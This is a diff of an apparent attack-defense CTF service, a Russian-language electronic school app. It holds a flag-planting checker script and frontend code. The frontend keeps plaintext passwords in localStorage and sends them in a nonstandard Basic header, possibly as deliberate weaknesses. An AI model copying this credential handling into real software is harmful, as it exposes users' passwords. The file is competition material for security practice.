for item in lessons_payload
|
||||
):
|
||||
raise CheckerError(service_corrupt, "expected lesson missing")
|
||||
|
||||
|
||||
def verify_students(client, plan, auth):
|
||||
students_payload = fetch_students(client, auth)
|
||||
snils_map = {
|
||||
entry.get(K_SNILS): entry
|
||||
for entry in students_payload
|
||||
if isinstance(entry, dict)
|
||||
}
|
||||
for student in all_students(plan):
|
||||
entry = snils_map.get(student["snils"])
|
||||
if entry is None:
|
||||
raise CheckerError(service_corrupt, "expected student missing")
|
||||
if entry.get(K_FIRST_NAME) != student["first"]:
|
||||
raise CheckerError(service_corrupt, "student first name mismatch")
|
||||
if entry.get(K_LAST_NAME) != student["last"]:
|
||||
raise CheckerError(service_corrupt, "student last name mismatch")
|
||||
if entry.get(K_MIDDLE_NAME) != student["middle"]:
|
||||
raise CheckerError(service_corrupt, "student middle name mismatch")
|
||||
if entry.get(K_PASSPORT) != student["passport"]:
|
||||
raise CheckerError(service_corrupt, "student passport mismatch")
|
||||
if entry.get(K_USERNAME) != student["username"]:
|
||||
raise CheckerError(service_corrupt, "student username mismatch")
|
||||
if student["is_flagged"] and entry.get(K_SNILS) != plan["flag"]:
|
||||
raise CheckerError(service_corrupt, "flag storage mismatch")
|
||||
|
||||
|
||||
def perform_check(client, plan):
|
||||
teacher = plan["teacher"]
|
||||
if not login_teacher(client, teacher):
|
||||
raise CheckerError(service_corrupt, "teacher credentials rejected")
|
||||
auth = make_auth_header(teacher)
|
||||
verify_classes(client, plan, auth)
|
||||
verify_students(client, plan, auth)
|
||||
|
||||
|
||||
if len(sys.argv) != 5:
|
||||
print(
|
||||
f"\nUsage:\n\t{sys.argv[0]} <host> (put|check) <flag_id> <flag>\n",
|
||||
file=sys.stderr,
|
||||
)
|
||||
exit(1)
|
||||
|
||||
|
||||
def main():
|
||||
host = sys.argv[1]
|
||||
command = sys.argv[2]
|
||||
flag_id = sys.argv[3]
|
||||
flag = sys.argv[4]
|
||||
|
||||
plan = generate_plan(flag_id, flag)
|
||||
client = ApiClient(host)
|
||||
|
||||
try:
|
||||
if command == "put":
|
||||
perform_put(client, plan)
|
||||
perform_check(client, plan)
|
||||
service_up()
|
||||
elif command == "check":
|
||||
perform_check(client, plan)
|
||||
service_up()
|
||||
else:
|
||||
raise CheckerError(service_corrupt, f"unknown command {command!r}")
|
||||
except CheckerError as err:
|
||||
debug(f"failure: {err}")
|
||||
debug(traceback.format_exc())
|
||||
err.verdict()
|
||||
except Exception as exc:
|
||||
debug(f"unexpected error: {exc}")
|
||||
debug(traceback.format_exc())
|
||||
service_mumble()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
8
docker-compose.yml
Normal file
8
docker-compose.yml
Normal file
@@ -0,0 +1,8 @@
|
||||
services:
|
||||
srab:
|
||||
build: .
|
||||
tty: true
|
||||
ports:
|
||||
- "1337:1337"
|
||||
volumes:
|
||||
- ./var:/app/var
|
||||
36
frontend/app.js
Normal file
36
frontend/app.js
Normal file
@@ -0,0 +1,36 @@
|
||||
import { routerNavigate, route } from "./router.js";
|
||||
import {
|
||||
loadSession,
|
||||
clearSession,
|
||||
setTopUser,
|
||||
setLogoutVisible,
|
||||
} from "./utils.js";
|
||||
import "./views/auth.js";
|
||||
import "./views/teacher.js";
|
||||
import "./views/student.js";
|
||||
|
||||
route("/404", async ({ view }) => {
|
||||
const card = document.createElement("div");
|
||||
card.className = "card";
|
||||
card.innerHTML = `<div class="card-header">Страница не найдена</div><div class="card-body">Нет такой страницы</div>`;
|
||||
view.appendChild(card);
|
||||
});
|
||||
|
||||
function initTop() {
|
||||
const s = loadSession();
|
||||
if (s) {
|
||||
setTopUser(s.username);
|
||||
setLogoutVisible(true);
|
||||
}
|
||||
document.getElementById("btn-logout").addEventListener("click", () => {
|
||||
clearSession();
|
||||
setTopUser("");
|
||||
setLogoutVisible(false);
|
||||
location.hash = "#/auth/login";
|
||||
});
|
||||
}
|
||||
|
||||
window.addEventListener("DOMContentLoaded", () => {
|
||||
initTop();
|
||||
routerNavigate();
|
||||
});
|
||||
53
frontend/index.html
Normal file
53
frontend/index.html
Normal file
@@ -0,0 +1,53 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="ru">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<title>Электронная школа — SRAB</title>
|
||||
<link rel="icon" type="image/jpeg" href="srab.jpg" />
|
||||
<link rel="apple-touch-icon" href="srab.jpg" />
|
||||
<link rel="stylesheet" href="styles.css" />
|
||||
</head>
|
||||
<body>
|
||||
<div id="app">
|
||||
<header class="topbar">
|
||||
<div class="brand">
|
||||
<span class="logo">
|
||||
<img src="srab.jpg" width="50" />
|
||||
</span>
|
||||
<span>Электронная Школа</span>
|
||||
</div>
|
||||
<div class="top-actions">
|
||||
<div
|
||||
class="avg"
|
||||
id="top-avg"
|
||||
title="Средний балл (по выбранному)"
|
||||
></div>
|
||||
<div class="user" id="top-user"></div>
|
||||
<button id="btn-logout" class="linklike" hidden>Выйти</button>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div class="layout">
|
||||
<nav class="sidebar">
|
||||
<div class="menu-title">Меню</div>
|
||||
<ul id="menu">
|
||||
<li><a href="#/dashboard">Дневник</a></li>
|
||||
<li><a href="#/schedule">Расписание</a></li>
|
||||
<li><a href="#/grades">Оценки</a></li>
|
||||
<li><a href="#/school">Школа</a></li>
|
||||
<li><a href="#/homework">Домашнее задание</a></li>
|
||||
<li><a href="#/portfolio">Портфолио</a></li>
|
||||
<li class="sep"></li>
|
||||
<li><a href="#/auth/login">Войти</a></li>
|
||||
<li><a href="#/auth/register">Регистрация учителя</a></li>
|
||||
</ul>
|
||||
</nav>
|
||||
|
||||
<main id="view" class="content"></main>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="module" src="app.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
140
frontend/kek.js
Normal file
140
frontend/kek.js
Normal file
@@ -0,0 +1,140 @@
|
||||
const API_BASE = (localStorage.getItem("srab.apiBase") || "").replace(
|
||||
/\/$/,
|
||||
""
|
||||
);
|
||||
|
||||
function buildAuthHeader(session) {
|
||||
if (!session || !session.username || !session.password) return {};
|
||||
return { Authorization: `Basic ${session.username} ${session.password}` };
|
||||
}
|
||||
|
||||
async function apiFetch(
|
||||
path,
|
||||
{ method = "GET", body, session, headers = {} } = {}
|
||||
) {
|
||||
const url = `${API_BASE}${path}`;
|
||||
const h = {
|
||||
"Content-Type": "application/json",
|
||||
...buildAuthHeader(session),
|
||||
...headers,
|
||||
};
|
||||
const opts = { method, headers: h };
|
||||
if (body !== undefined)
|
||||
opts.body = typeof body === "string" ? body : JSON.stringify(body);
|
||||
|
||||
const res = await fetch(url, opts);
|
||||
let data = null;
|
||||
const ct = res.headers.get("content-type") || "";
|
||||
data = await res.text();
|
||||
try {
|
||||
data = JSON.parse(data);
|
||||
} catch (e) {}
|
||||
|
||||
if (!res.ok) {
|
||||
const err = new Error(
|
||||
(data && (data.message || data.error)) || `HTTP ${res.status}`
|
||||
);
|
||||
err.status = res.status;
|
||||
err.data = data;
|
||||
throw err;
|
||||
}
|
||||
return { status: res.status, data };
|
||||
}
|
||||
|
||||
export const Api = {
|
||||
base: API_BASE,
|
||||
setBase(url) {
|
||||
localStorage.setItem("srab.apiBase", url);
|
||||
},
|
||||
|
||||
async login({ username, password }) {
|
||||
const session = { username, password };
|
||||
const { data } = await apiFetch("/api/users/login", {
|
||||
method: "POST",
|
||||
session,
|
||||
body: { "имя пользователя": username, пароль: password },
|
||||
});
|
||||
return { session, message: data };
|
||||
},
|
||||
async registerTeacher(payload) {
|
||||
return apiFetch("/api/users", { method: "POST", body: payload });
|
||||
},
|
||||
async changePassword(session, newPassword) {
|
||||
return apiFetch("/api/users/password", {
|
||||
method: "PUT",
|
||||
session,
|
||||
body: { "новый пароль": newPassword },
|
||||
});
|
||||
},
|
||||
|
||||
async listTeachers(session, page) {
|
||||
return apiFetch(
|
||||
`/api/teachers${page ? `?страница=${encodeURIComponent(page)}` : ""}`,
|
||||
{ session }
|
||||
);
|
||||
},
|
||||
|
||||
async createStudent(session, payload) {
|
||||
return apiFetch("/api/students", {
|
||||
method: "POST",
|
||||
session,
|
||||
body: payload,
|
||||
});
|
||||
},
|
||||
async listStudents(session, teacherId) {
|
||||
const q = teacherId ? `?учитель=${encodeURIComponent(teacherId)}` : "";
|
||||
return apiFetch(`/api/students${q}`, { session });
|
||||
},
|
||||
async getStudent(session, id) {
|
||||
return apiFetch(`/api/students/${id}`, { session });
|
||||
},
|
||||
async deleteStudent(session, id) {
|
||||
return apiFetch(`/api/students/${id}`, { method: "DELETE", session });
|
||||
},
|
||||
|
||||
async listClasses(session, teacherId) {
|
||||
const q = teacherId ? `?учитель=${encodeURIComponent(teacherId)}` : "";
|
||||
return apiFetch(`/api/classes${q}`, { session });
|
||||
},
|
||||
async createClass(session, payload) {
|
||||
return apiFetch("/api/classes", { method: "POST", session, body: payload });
|
||||
},
|
||||
async deleteClass(session, classId) {
|
||||
return apiFetch(`/api/classes/${classId}`, { method: "DELETE", session });
|
||||
},
|
||||
async addStudentToClass(session, classId, studentId) {
|
||||
return apiFetch(`/api/classes/${classId}/students/${studentId}`, {
|
||||
method: "POST",
|
||||
session,
|
||||
});
|
||||
},
|
||||
async removeStudentFromClass(session, classId, studentId) {
|
||||
return apiFetch(`/api/classes/${classId}/students/${studentId}`, {
|
||||
method: "DELETE",
|
||||
session,
|
||||
});
|
||||
},
|
||||
|
||||
async createLesson(session, classId, payload) {
|
||||
return apiFetch(`/api/classes/${classId}/lessons`, {
|
||||
method: "POST",
|
||||
session,
|
||||
body: payload,
|
||||
});
|
||||
},
|
||||
async listLessons(session, classId, date) {
|
||||
const q = date ? `?date=${encodeURIComponent(date)}` : "";
|
||||
return apiFetch(`/api/classes/${classId}/lessons${q}`, { session });
|
||||
},
|
||||
async listLessonsByDate(session, classId, date) {
|
||||
return apiFetch(`/api/classes/${classId}/lessons/date/${date}`, {
|
||||
session,
|
||||
});
|
||||
},
|
||||
async deleteLessonById(session, classId, lessonId) {
|
||||
return apiFetch(`/api/classes/${classId}/lessons/${lessonId}`, {
|
||||
method: "DELETE",
|
||||
session,
|
||||
});
|
||||
},
|
||||
};
|
||||
23
frontend/router.js
Normal file
23
frontend/router.js
Normal file
@@ -0,0 +1,23 @@
|
||||
const routes = {};
|
||||
export function route(path, handler) {
|
||||
routes[path] = handler;
|
||||
}
|
||||
|
||||
function parseHash() {
|
||||
const h = location.hash.replace(/^#/, "");
|
||||
const parts = h.split("?");
|
||||
const path = parts[0] || "/dashboard";
|
||||
const search = new URLSearchParams(parts[1] || "");
|
||||
return { path, search };
|
||||
}
|
||||
|
||||
export async function routerNavigate() {
|
||||
const { path, search } = parseHash();
|
||||
const view = document.getElementById("view");
|
||||
const handler = routes[path] || routes["/404"];
|
||||
view.innerHTML = "";
|
||||
await handler({ view, search });
|
||||
window.scrollTo(0, 0);
|
||||
}
|
||||
|
||||
window.addEventListener("hashchange", routerNavigate);
|
||||
BIN
frontend/srab.jpg
Normal file
BIN
frontend/srab.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 166 KiB |
236
frontend/styles.css
Normal file
236
frontend/styles.css
Normal file
@@ -0,0 +1,236 @@
|
||||
:root {
|
||||
--bg: #f6f1df;
|
||||
--accent: #d6b87a;
|
||||
--accent-strong: #c39a3a;
|
||||
--text: #3a3a3a;
|
||||
--muted: #8a8a8a;
|
||||
--panel: #fffaf0;
|
||||
--border: #e0d7c4;
|
||||
--ok: #3aa76d;
|
||||
--warn: #c97c2a;
|
||||
--danger: #c43e3e;
|
||||
}
|
||||
* {
|
||||
box-sizing: border-box;
|
||||
}
|
||||
html,
|
||||
body {
|
||||
height: 100%;
|
||||
}
|
||||
body {
|
||||
margin: 0;
|
||||
font-family: system-ui, -apple-system, Segoe UI, Roboto, Ubuntu, Cantarell,
|
||||
"Noto Sans", sans-serif;
|
||||
background: var(--bg);
|
||||
color: var(--text);
|
||||
}
|
||||
.topbar {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 8px 16px;
|
||||
background: var(--accent);
|
||||
color: #fff;
|
||||
border-bottom: 2px solid var(--accent-strong);
|
||||
}
|
||||
.topbar .brand {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
font-weight: 600;
|
||||
}
|
||||
.topbar .logo {
|
||||
filter: grayscale(20%);
|
||||
}
|
||||
.topbar .top-actions {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 16px;
|
||||
}
|
||||
.topbar .linklike {
|
||||
background: none;
|
||||
border: none;
|
||||
color: #fff;
|
||||
cursor: pointer;
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.layout {
|
||||
display: grid;
|
||||
grid-template-columns: 240px 1fr;
|
||||
min-height: calc(100vh - 44px);
|
||||
}
|
||||
.sidebar {
|
||||
background: var(--panel);
|
||||
border-right: 1px solid var(--border);
|
||||
padding: 10px 0;
|
||||
}
|
||||
.sidebar .menu-title {
|
||||
padding: 10px 16px;
|
||||
color: var(--muted);
|
||||
text-transform: uppercase;
|
||||
font-size: 12px;
|
||||
}
|
||||
.sidebar ul {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
.sidebar li {
|
||||
border-top: 1px solid var(--border);
|
||||
}
|
||||
.sidebar li.sep {
|
||||
height: 10px;
|
||||
border: none;
|
||||
}
|
||||
.sidebar a {
|
||||
display: block;
|
||||
padding: 12px 16px;
|
||||
color: var(--text);
|
||||
text-decoration: none;
|
||||
}
|
||||
.sidebar a:hover {
|
||||
background: #fff;
|
||||
}
|
||||
|
||||
.content {
|
||||
padding: 16px;
|
||||
}
|
||||
.card {
|
||||
background: #fff;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px;
|
||||
box-shadow: 0 1px 0 rgba(0, 0, 0, 0.03);
|
||||
}
|
||||
.card .card-header {
|
||||
padding: 12px 16px;
|
||||
border-bottom: 1px solid var(--border);
|
||||
background: #fffdf7;
|
||||
font-weight: 600;
|
||||
}
|
||||
.card .card-body {
|
||||
padding: 16px;
|
||||
}
|
||||
|
||||
.form-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(220px, 1fr));
|
||||
gap: 12px;
|
||||
}
|
||||
.input {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 6px;
|
||||
}
|
||||
.input label {
|
||||
color: var(--muted);
|
||||
font-size: 12px;
|
||||
}
|
||||
.input input,
|
||||
.input select,
|
||||
.input textarea {
|
||||
padding: 10px;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px;
|
||||
background: #fff;
|
||||
}
|
||||
.actions {
|
||||
display: flex;
|
||||
gap: 8px;
|
||||
margin-top: 12px;
|
||||
}
|
||||
.btn {
|
||||
background: var(--accent-strong);
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 6px;
|
||||
padding: 10px 14px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.btn.secondary {
|
||||
background: #8b8b8b;
|
||||
}
|
||||
.btn.danger {
|
||||
background: var(--danger);
|
||||
}
|
||||
|
||||
.table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
}
|
||||
.table th,
|
||||
.table td {
|
||||
padding: 10px;
|
||||
border-bottom: 1px solid var(--border);
|
||||
text-align: left;
|
||||
}
|
||||
.table th {
|
||||
background: #fffdf7;
|
||||
color: var(--muted);
|
||||
font-weight: 600;
|
||||
font-size: 13px;
|
||||
}
|
||||
.badge {
|
||||
display: inline-block;
|
||||
padding: 2px 6px;
|
||||
border-radius: 10px;
|
||||
font-size: 12px;
|
||||
background: #eee;
|
||||
}
|
||||
.badge.ok {
|
||||
background: #e6f6ed;
|
||||
color: var(--ok);
|
||||
}
|
||||
.badge.warn {
|
||||
background: #fff1e3;
|
||||
color: var(--warn);
|
||||
}
|
||||
|
||||
.notice {
|
||||
padding: 10px 14px;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px;
|
||||
background: #fffbe6;
|
||||
}
|
||||
.error {
|
||||
padding: 10px 14px;
|
||||
border: 1px solid var(--danger);
|
||||
border-radius: 6px;
|
||||
background: #fff0f0;
|
||||
color: var(--danger);
|
||||
}
|
||||
|
||||
.tabs {
|
||||
display: flex;
|
||||
gap: 8px;
|
||||
border-bottom: 1px solid var(--border);
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
.tabs a {
|
||||
padding: 8px 12px;
|
||||
text-decoration: none;
|
||||
color: var(--text);
|
||||
border: 1px solid transparent;
|
||||
border-radius: 6px 6px 0 0;
|
||||
}
|
||||
.tabs a.active {
|
||||
background: #fff;
|
||||
border-color: var(--border);
|
||||
border-bottom-color: #fff;
|
||||
}
|
||||
|
||||
.small {
|
||||
font-size: 12px;
|
||||
color: var(--muted);
|
||||
}
|
||||
.grid-two {
|
||||
display: grid;
|
||||
grid-template-columns: 360px 1fr;
|
||||
gap: 16px;
|
||||
}
|
||||
.hidden {
|
||||
display: none !important;
|
||||
}
|
||||
.center {
|
||||
text-align: center;
|
||||
}
|
||||
112
frontend/utils.js
Normal file
112
frontend/utils.js
Normal file
@@ -0,0 +1,112 @@
|
||||
export const $ = (sel, root = document) => root.querySelector(sel);
|
||||
export const $$ = (sel, root = document) =>
|
||||
Array.from(root.querySelectorAll(sel));
|
||||
|
||||
export function el(tag, attrs = {}, children = []) {
|
||||
const node = document.createElement(tag);
|
||||
Object.entries(attrs).forEach(([k, v]) => {
|
||||
if (k === "class") node.className = v;
|
||||
else if (k.startsWith("on") && typeof v === "function")
|
||||
node.addEventListener(k.slice(2), v);
|
||||
else if (v !== undefined && v !== null) node.setAttribute(k, v);
|
||||
});
|
||||
for (const ch of Array.isArray(children) ? children : [children]) {
|
||||
if (typeof ch === "string") node.appendChild(document.createTextNode(ch));
|
||||
else if (ch) node.appendChild(ch);
|
||||
}
|
||||
return node;
|
||||
}
|
||||
|
||||
export function formToJSON(form) {
|
||||
const data = {};
|
||||
const coerceNumberIfNeeded = (key, value) => {
|
||||
const field = form.elements.namedItem(key);
|
||||
let isNumber = false;
|
||||
let integerOnly = false;
|
||||
|
||||
const inspect = (el) => {
|
||||
if (!el) return;
|
||||
if (el.getAttribute && el.getAttribute("data-type") === "number") {
|
||||
isNumber = true;
|
||||
}
|
||||
if (el.getAttribute && el.getAttribute("data-integer") === "true") {
|
||||
isNumber = true;
|
||||
integerOnly = true;
|
||||
}
|
||||
if (el.tagName === "INPUT") {
|
||||
const type = (el.type || "").toLowerCase();
|
||||
if (type === "number") {
|
||||
isNumber = true;
|
||||
const step = el.step;
|
||||
if (
|
||||
step &&
|
||||
(step === "1" || (!step.includes(".") && step !== "any"))
|
||||
) {
|
||||
integerOnly = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
if (
|
||||
field &&
|
||||
typeof RadioNodeList !== "undefined" &&
|
||||
field instanceof RadioNodeList
|
||||
) {
|
||||
inspect(field[0]);
|
||||
} else {
|
||||
inspect(field);
|
||||
}
|
||||
|
||||
if (isNumber) {
|
||||
if (value === "" || value === null) return null;
|
||||
const n = Number(value);
|
||||
if (Number.isNaN(n)) return null;
|
||||
return integerOnly ? Math.trunc(n) : n;
|
||||
}
|
||||
return value;
|
||||
};
|
||||
|
||||
new FormData(form).forEach((v, k) => {
|
||||
const val = coerceNumberIfNeeded(k, v);
|
||||
if (data[k] !== undefined) {
|
||||
if (!Array.isArray(data[k])) data[k] = [data[k]];
|
||||
data[k].push(val);
|
||||
} else data[k] = val;
|
||||
});
|
||||
return data;
|
||||
}
|
||||
|
||||
export function saveSession(session) {
|
||||
localStorage.setItem("srab.session", JSON.stringify(session));
|
||||
}
|
||||
export function loadSession() {
|
||||
try {
|
||||
return JSON.parse(localStorage.getItem("srab.session")) || null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
export function clearSession() {
|
||||
localStorage.removeItem("srab.session");
|
||||
}
|
||||
|
||||
export function setTopUser(text) {
|
||||
$("#top-user").textContent = text || "";
|
||||
}
|
||||
export function setLogoutVisible(vis) {
|
||||
$("#btn-logout").hidden = !vis;
|
||||
}
|
||||
|
||||
export function setAvg(text) {
|
||||
const n = $("#top-avg");
|
||||
n.textContent = text || "";
|
||||
n.className = "avg badge ok";
|
||||
}
|
||||
|
||||
export function fmtDateInput(d = new Date()) {
|
||||
const yyyy = d.getFullYear();
|
||||
const mm = String(d.getMonth() + 1).padStart(2, "0");
|
||||
const dd = String(d.getDate()).padStart(2, "0");
|
||||
return `${yyyy}-${mm}-${dd}`;
|
||||
}
|
||||
86
frontend/views/auth.js
Normal file
86
frontend/views/auth.js
Normal file
@@ -0,0 +1,86 @@
|
||||
import { route } from "../router.js";
|
||||
import { Api } from "../kek.js";
|
||||
import {
|
||||
saveSession,
|
||||
setTopUser,
|
||||
setLogoutVisible,
|
||||
formToJSON,
|
||||
} from "../utils.js";
|
||||
|
||||
function loginView() {
|
||||
const card = document.createElement("div");
|
||||
card.className = "card";
|
||||
card.innerHTML = `
|
||||
<div class="card-header">Вход</div>
|
||||
<div class="card-body">
|
||||
<form id="login-form" class="form-grid" autocomplete="on">
|
||||
<div class="input"><label>Имя пользователя</label><input name="username" required /></div>
|
||||
<div class="input"><label>Пароль</label><input name="password" type="password" required /></div>
|
||||
<div class="actions">
|
||||
<button class="btn" type="submit">Войти</button>
|
||||
<a class="btn secondary" href="#/auth/register">Регистрация учителя</a>
|
||||
</div>
|
||||
<div id="login-error" class="error hidden"></div>
|
||||
</form>
|
||||
</div>`;
|
||||
const form = card.querySelector("#login-form");
|
||||
form.addEventListener("submit", async (e) => {
|
||||
e.preventDefault();
|
||||
const { username, password } = Object.fromEntries(new FormData(form));
|
||||
try {
|
||||
const { session } = await Api.login({ username, password });
|
||||
saveSession(session);
|
||||
setTopUser(username);
|
||||
setLogoutVisible(true);
|
||||
location.hash = "#/dashboard";
|
||||
} catch (err) {
|
||||
const box = card.querySelector("#login-error");
|
||||
box.classList.remove("hidden");
|
||||
box.textContent = err.message || "Не удалось войти";
|
||||
}
|
||||
});
|
||||
return card;
|
||||
}
|
||||
|
||||
function registerView() {
|
||||
const card = document.createElement("div");
|
||||
card.className = "card";
|
||||
card.innerHTML = `
|
||||
<div class="card-header">Регистрация учителя</div>
|
||||
<div class="card-body">
|
||||
<form id="reg-form" class="form-grid">
|
||||
<div class="input"><label>Имя</label><input name="имя" required></div>
|
||||
<div class="input"><label>Фамилия</label><input name="фамилия" required></div>
|
||||
<div class="input"><label>Отчество</label><input name="отчество" required></div>
|
||||
<div class="input"><label>Образование</label><input name="образование" required></div>
|
||||
<div class="input"><label>Пароль</label><input type="password" name="пароль" required></div>
|
||||
<div class="input"><label>Повтор пароля</label><input type="password" name="повтор пароля" required></div>
|
||||
<div class="actions"><button class="btn" type="submit">Создать</button></div>
|
||||
<div id="reg-msg" class="notice hidden"></div>
|
||||
<div id="reg-err" class="error hidden"></div>
|
||||
</form>
|
||||
</div>`;
|
||||
card.querySelector("#reg-form").addEventListener("submit", async (e) => {
|
||||
e.preventDefault();
|
||||
const payload = formToJSON(e.target);
|
||||
try {
|
||||
await Api.registerTeacher(payload);
|
||||
const msg = card.querySelector("#reg-msg");
|
||||
msg.classList.remove("hidden");
|
||||
msg.textContent = "Учитель создан. Теперь можно войти.";
|
||||
card.querySelector("#reg-err").classList.add("hidden");
|
||||
} catch (err) {
|
||||
const errBox = card.querySelector("#reg-err");
|
||||
errBox.classList.remove("hidden");
|
||||
errBox.textContent = err.message || "Ошибка регистрации";
|
||||
}
|
||||
});
|
||||
return card;
|
||||
}
|
||||
|
||||
route("/auth/login", async ({ view }) => {
|
||||
view.appendChild(loginView());
|
||||
});
|
||||
route("/auth/register", async ({ view }) => {
|
||||
view.appendChild(registerView());
|
||||
});
|
||||
98
frontend/views/student.js
Normal file
98
frontend/views/student.js
Normal file
@@ -0,0 +1,98 @@
|
||||
import { route } from "../router.js";
|
||||
import { Api } from "../kek.js";
|
||||
import { el, $, loadSession } from "../utils.js";
|
||||
|
||||
function needSession() {
|
||||
const s = loadSession();
|
||||
if (!s) location.hash = "#/auth/login";
|
||||
return s;
|
||||
}
|
||||
|
||||
function studentDashboard(session) {
|
||||
const card = el("div", { class: "card" }, [
|
||||
el("div", { class: "card-header" }, "Дневник ученика"),
|
||||
el("div", { class: "card-body" }, [
|
||||
(() => {
|
||||
const box = el("div", { class: "form-grid" });
|
||||
box.innerHTML = `
|
||||
<div class="input"><label>ID класса</label><input id="st-class-id" type="number" min="1"></div>
|
||||
<div class="input"><label>Дата</label><input id="st-date" type="date"></div>
|
||||
<div class="actions" style="align-self:end"><button id="st-load" class="btn" type="button">Показать</button></div>`;
|
||||
return box;
|
||||
})(),
|
||||
el("table", { class: "table", id: "st-lessons" }, [
|
||||
el(
|
||||
"thead",
|
||||
{},
|
||||
el("tr", {}, [
|
||||
el("th", {}, "Дата"),
|
||||
el("th", {}, "Предмет/тема"),
|
||||
el("th", {}, "Домашнее задание"),
|
||||
])
|
||||
),
|
||||
el("tbody"),
|
||||
]),
|
||||
]),
|
||||
]);
|
||||
|
||||
async function refresh() {
|
||||
const classId = Number($("#st-class-id", card)?.value || 0);
|
||||
const date = $("#st-date", card)?.value || undefined;
|
||||
if (!classId) return;
|
||||
const { data } = await Api.listLessons(session, classId, date);
|
||||
const tbody = card.querySelector("tbody");
|
||||
tbody.innerHTML = "";
|
||||
for (const l of data?.["уроки"] || []) {
|
||||
const tr = el("tr");
|
||||
tr.appendChild(el("td", {}, l["дата"] || ""));
|
||||
tr.appendChild(el("td", {}, l["название"] || ""));
|
||||
tr.appendChild(el("td", {}, l["домашнее задание"] || ""));
|
||||
tbody.appendChild(tr);
|
||||
}
|
||||
}
|
||||
|
||||
card.querySelector("#st-load")?.addEventListener("click", refresh);
|
||||
return card;
|
||||
}
|
||||
|
||||
function changePasswordView(session) {
|
||||
const card = el("div", { class: "card" }, [
|
||||
el("div", { class: "card-header" }, "Смена пароля"),
|
||||
el("div", { class: "card-body" }, [
|
||||
(() => {
|
||||
const form = el("form", { class: "form-grid" });
|
||||
form.innerHTML = `
|
||||
<div class="input"><label>Новый пароль</label><input name="password" type="password" required></div>
|
||||
<div class="actions"><button class="btn">Изменить</button></div>
|
||||
<div id="pw-msg" class="notice hidden"></div>
|
||||
<div id="pw-err" class="error hidden"></div>`;
|
||||
form.addEventListener("submit", async (e) => {
|
||||
e.preventDefault();
|
||||
const newPassword = new FormData(form).get("password");
|
||||
try {
|
||||
await Api.changePassword(session, newPassword);
|
||||
const msg = form.querySelector("#pw-msg");
|
||||
msg.classList.remove("hidden");
|
||||
msg.textContent = "Пароль изменён";
|
||||
form.querySelector("#pw-err").classList.add("hidden");
|
||||
} catch (err) {
|
||||
const box = form.querySelector("#pw-err");
|
||||
box.classList.remove("hidden");
|
||||
box.textContent = err.message || "Не удалось изменить пароль";
|
||||
}
|
||||
});
|
||||
return form;
|
||||
})(),
|
||||
]),
|
||||
]);
|
||||
return card;
|
||||
}
|
||||
|
||||
route("/student/dashboard", async ({ view }) => {
|
||||
const s = needSession();
|
||||
view.appendChild(studentDashboard(s));
|
||||
});
|
||||
route("/student/password", async ({ view }) => {
|
||||
const s = needSession();
|
||||
view.appendChild(changePasswordView(s));
|
||||
});
|
||||
406
frontend/views/teacher.js
Normal file
406
frontend/views/teacher.js
Normal file
@@ -0,0 +1,406 @@
|
||||
import { route } from "../router.js";
|
||||
import { Api } from "../kek.js";
|
||||
import { el, formToJSON, $, fmtDateInput, loadSession } from "../utils.js";
|
||||
|
||||
function needSession() {
|
||||
const s = loadSession();
|
||||
if (!s) location.hash = "#/auth/login";
|
||||
return s;
|
||||
}
|
||||
|
||||
function sectionTabs(active) {
|
||||
const tabs = document.createElement("div");
|
||||
tabs.className = "tabs";
|
||||
const items = [
|
||||
["#/dashboard", "Сводная"],
|
||||
["#/teacher/classes", "Классы"],
|
||||
["#/teacher/students", "Ученики"],
|
||||
["#/teacher/lessons", "Уроки"],
|
||||
];
|
||||
for (const [href, title] of items) {
|
||||
const a = document.createElement("a");
|
||||
a.href = href;
|
||||
a.textContent = title;
|
||||
if (href.endsWith(active)) a.classList.add("active");
|
||||
tabs.appendChild(a);
|
||||
}
|
||||
return tabs;
|
||||
}
|
||||
|
||||
function classesView(session) {
|
||||
const wrap = el("div", { class: "grid-two" });
|
||||
|
||||
const formCard = el("div", { class: "card" }, [
|
||||
el("div", { class: "card-header" }, "Создать класс"),
|
||||
el("div", { class: "card-body" }, [
|
||||
(() => {
|
||||
const form = el("form", { class: "form-grid" });
|
||||
form.innerHTML = `
|
||||
<div class="input"><label>Номер</label><input name="номер" type="number" required min="1" max="11"></div>
|
||||
<div class="input"><label>Буква</label><input name="буква" maxlength="2" required></div>
|
||||
<div class="actions"><button class="btn">Создать</button></div>
|
||||
<div class="small">Ограничение: однобуквенное обозначение параллели.</div>
|
||||
<div id="cls-err" class="error hidden"></div>`;
|
||||
form.addEventListener("submit", async (e) => {
|
||||
e.preventDefault();
|
||||
const payload = formToJSON(form);
|
||||
try {
|
||||
await Api.createClass(session, payload);
|
||||
await refresh();
|
||||
form.reset();
|
||||
} catch (err) {
|
||||
const box = form.querySelector("#cls-err");
|
||||
box.classList.remove("hidden");
|
||||
box.textContent = err.message || "Ошибка создания класса";
|
||||
}
|
||||
});
|
||||
return form;
|
||||
})(),
|
||||
]),
|
||||
]);
|
||||
|
||||
const listCard = el("div", { class: "card" }, [
|
||||
el("div", { class: "card-header" }, "Ваши классы"),
|
||||
